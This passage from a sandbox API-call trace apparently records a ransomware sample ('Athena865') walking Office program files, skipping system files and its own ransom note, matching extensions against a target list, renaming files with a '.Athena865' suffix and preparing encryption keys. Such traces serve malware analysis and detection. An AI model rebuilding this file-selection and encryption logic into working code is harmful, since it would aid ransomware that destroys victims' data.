lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.380] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703f00, ftCreationTime.dwHighDateTime=0x1ca9139, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x703f00, ftLastWriteTime.dwHighDateTime=0x1ca9139, nFileSizeHigh=0x0, nFileSizeLow=0x21180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="..") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="windows") returned -1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="bootmgr") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="temp") returned -1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="pagefile.sys") returned -1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="boot") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="ids.txt") returned 1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="ntuser.dat") returned -1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="perflogs") returned -1 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="MSBuild") returned 1 [0094.380] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0094.380] lstrcpyW (in: lpString1=0x241e8aa, lpString2="NAMEEXT.DLL" | out: lpString1="NAMEEXT.DLL") returned="NAMEEXT.DLL" [0094.380] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0094.380] lstrlenW (lpString="Athena865") returned 9 [0094.380] lstrcmpiW (lpString1="MEEXT.DLL", lpString2="Athena865") returned 1 [0094.380] lstrlenW (lpString=".dll") returned 4 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".dll") returned 1 [0094.380] lstrlenW (lpString=".lnk") returned 4 [0094.380] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".lnk") returned 1 [0094.380] lstrlenW (lpString=".ini") returned 4 [0094.381] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".ini") returned 1 [0094.381] lstrlenW (lpString=".sys") returned 4 [0094.381] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".sys") returned 1 [0094.381] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0094.381] lstrlenW (lpString="bak") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.381] lstrlenW (lpString="ba_") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.381] lstrlenW (lpString="dbb") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.381] lstrlenW (lpString="vmdk") returned 4 [0094.381] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.381] lstrlenW (lpString="rar") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.381] lstrlenW (lpString="zip") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.381] lstrlenW (lpString="tgz") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.381] lstrlenW (lpString="vbox") returned 4 [0094.381] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.381] lstrlenW (lpString="vdi") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.381] lstrlenW (lpString="vhd") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.381] lstrlenW (lpString="vhdx") returned 4 [0094.381] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.381] lstrlenW (lpString="avhd") returned 4 [0094.381] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.381] lstrlenW (lpString="db") returned 2 [0094.381] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.381] lstrlenW (lpString="db2") returned 3 [0094.381] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.381] lstrlenW (lpString="db3") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.382] lstrlenW (lpString="dbf") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.382] lstrlenW (lpString="mdf") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.382] lstrlenW (lpString="mdb") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.382] lstrlenW (lpString="sql") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.382] lstrlenW (lpString="sqlite") returned 6 [0094.382] lstrcmpiW (lpString1="XT.DLL", lpString2="sqlite") returned 1 [0094.382] lstrlenW (lpString="sqlite3") returned 7 [0094.382] lstrcmpiW (lpString1="EXT.DLL", lpString2="sqlite3") returned -1 [0094.382] lstrlenW (lpString="sqlitedb") returned 8 [0094.382] lstrcmpiW (lpString1="EEXT.DLL", lpString2="sqlitedb") returned -1 [0094.382] lstrlenW (lpString="xml") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.382] lstrlenW (lpString="$er") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.382] lstrlenW (lpString="4dd") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.382] lstrlenW (lpString="4dl") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.382] lstrlenW (lpString="^^^") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.382] lstrlenW (lpString="abs") returned 3 [0094.382] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.382] lstrlenW (lpString="abx") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.383] lstrlenW (lpString="accdb") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0094.383] lstrlenW (lpString="accdc") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0094.383] lstrlenW (lpString="accde") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0094.383] lstrlenW (lpString="accdr") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0094.383] lstrlenW (lpString="accdt") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0094.383] lstrlenW (lpString="accdw") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0094.383] lstrlenW (lpString="accft") returned 5 [0094.383] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0094.383] lstrlenW (lpString="adb") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.383] lstrlenW (lpString="adb") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.383] lstrlenW (lpString="ade") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.383] lstrlenW (lpString="adf") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.383] lstrlenW (lpString="adn") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.383] lstrlenW (lpString="adp") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.383] lstrlenW (lpString="alf") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.383] lstrlenW (lpString="ask") returned 3 [0094.383] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.383] lstrlenW (lpString="btr") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.384] lstrlenW (lpString="cat") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.384] lstrlenW (lpString="cdb") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.384] lstrlenW (lpString="ckp") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.384] lstrlenW (lpString="cma") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.384] lstrlenW (lpString="cpd") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.384] lstrlenW (lpString="dacpac") returned 6 [0094.384] lstrcmpiW (lpString1="XT.DLL", lpString2="dacpac") returned 1 [0094.384] lstrlenW (lpString="dad") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.384] lstrlenW (lpString="dadiagrams") returned 10 [0094.384] lstrcmpiW (lpString1="AMEEXT.DLL", lpString2="dadiagrams") returned -1 [0094.384] lstrlenW (lpString="daschema") returned 8 [0094.384] lstrcmpiW (lpString1="EEXT.DLL", lpString2="daschema") returned 1 [0094.384] lstrlenW (lpString="db-journal") returned 10 [0094.384] lstrcmpiW (lpString1="AMEEXT.DLL", lpString2="db-journal") returned -1 [0094.384] lstrlenW (lpString="db-shm") returned 6 [0094.384] lstrcmpiW (lpString1="XT.DLL", lpString2="db-shm") returned 1 [0094.384] lstrlenW (lpString="db-wal") returned 6 [0094.384] lstrcmpiW (lpString1="XT.DLL", lpString2="db-wal") returned 1 [0094.384] lstrlenW (lpString="dbc") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.384] lstrlenW (lpString="dbs") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.384] lstrlenW (lpString="dbt") returned 3 [0094.384] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.384] lstrlenW (lpString="dbv") returned 3 [0094.385] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.385] lstrlenW (lpString="dbx") returned 3 [0094.385] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.385] lstrlenW (lpString="dcb") returned 3 [0094.385] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.385] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865") returned 70 [0094.385] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMEEXT.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\nameext.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\nameext.dll.athena865"), dwFlags=0x1) returned 1 [0094.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\nameext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.386] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=135552) returned 1 [0094.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.386] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.387] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.387] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.387] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21480, lpName=0x0) returned 0x17c [0094.388] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21480) returned 0x170000 [0094.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.396] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.396] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.397] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.398] CloseHandle (hObject=0x17c) returned 1 [0094.399] CloseHandle (hObject=0x154) returned 1 [0094.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.399] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf08900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcbf08900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0094.399] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.399] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.399] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".") returned 1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="..") returned 1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="windows") returned -1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="bootmgr") returned 1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="temp") returned -1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="pagefile.sys") returned -1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="boot") returned 1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="ids.txt") returned 1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="ntuser.dat") returned -1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="perflogs") returned -1 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="MSBuild") returned 1 [0094.400] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0094.400] lstrcpyW (in: lpString1=0x241e8aa, lpString2="NPAUTHZ.DLL" | out: lpString1="NPAUTHZ.DLL") returned="NPAUTHZ.DLL" [0094.400] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0094.400] lstrlenW (lpString="Athena865") returned 9 [0094.400] lstrcmpiW (lpString1="AUTHZ.DLL", lpString2="Athena865") returned 1 [0094.400] lstrlenW (lpString=".dll") returned 4 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".dll") returned 1 [0094.400] lstrlenW (lpString=".lnk") returned 4 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".lnk") returned 1 [0094.400] lstrlenW (lpString=".ini") returned 4 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".ini") returned 1 [0094.400] lstrlenW (lpString=".sys") returned 4 [0094.400] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".sys") returned 1 [0094.400] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0094.400] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865") returned 70 [0094.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPAUTHZ.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npauthz.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npauthz.dll.athena865"), dwFlags=0x1) returned 1 [0094.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npauthz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.401] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16800) returned 1 [0094.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.402] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.402] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.402] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.403] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44a0, lpName=0x0) returned 0x17c [0094.404] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44a0) returned 0x100000 [0094.405] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.406] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.406] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.407] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.407] CloseHandle (hObject=0x17c) returned 1 [0094.407] CloseHandle (hObject=0x154) returned 1 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.407] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x59e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0094.407] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="..") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="windows") returned -1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="bootmgr") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="temp") returned -1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="pagefile.sys") returned -1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="boot") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="ids.txt") returned 1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="ntuser.dat") returned -1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="perflogs") returned -1 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2="MSBuild") returned 1 [0094.408] lstrlenW (lpString="NPSPWRAP.DLL") returned 12 [0094.408] lstrcpyW (in: lpString1=0x241e8aa, lpString2="NPSPWRAP.DLL" | out: lpString1="NPSPWRAP.DLL") returned="NPSPWRAP.DLL" [0094.408] lstrlenW (lpString="NPSPWRAP.DLL") returned 12 [0094.408] lstrlenW (lpString="Athena865") returned 9 [0094.408] lstrcmpiW (lpString1="PWRAP.DLL", lpString2="Athena865") returned 1 [0094.408] lstrlenW (lpString=".dll") returned 4 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".dll") returned 1 [0094.408] lstrlenW (lpString=".lnk") returned 4 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".lnk") returned 1 [0094.408] lstrlenW (lpString=".ini") returned 4 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".ini") returned 1 [0094.408] lstrlenW (lpString=".sys") returned 4 [0094.408] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".sys") returned 1 [0094.408] lstrlenW (lpString="NPSPWRAP.DLL") returned 12 [0094.408] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPSPWRAP.DLL.Athena865") returned 71 [0094.408] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPSPWRAP.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npspwrap.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPSPWRAP.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npspwrap.dll.athena865"), dwFlags=0x1) returned 1 [0094.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NPSPWRAP.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\npspwrap.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.409] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23016) returned 1 [0094.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.410] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.410] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.410] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.411] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cf0, lpName=0x0) returned 0x17c [0094.412] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cf0) returned 0x100000 [0094.414] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.414] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.414] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.415] RtlAllocateHeap 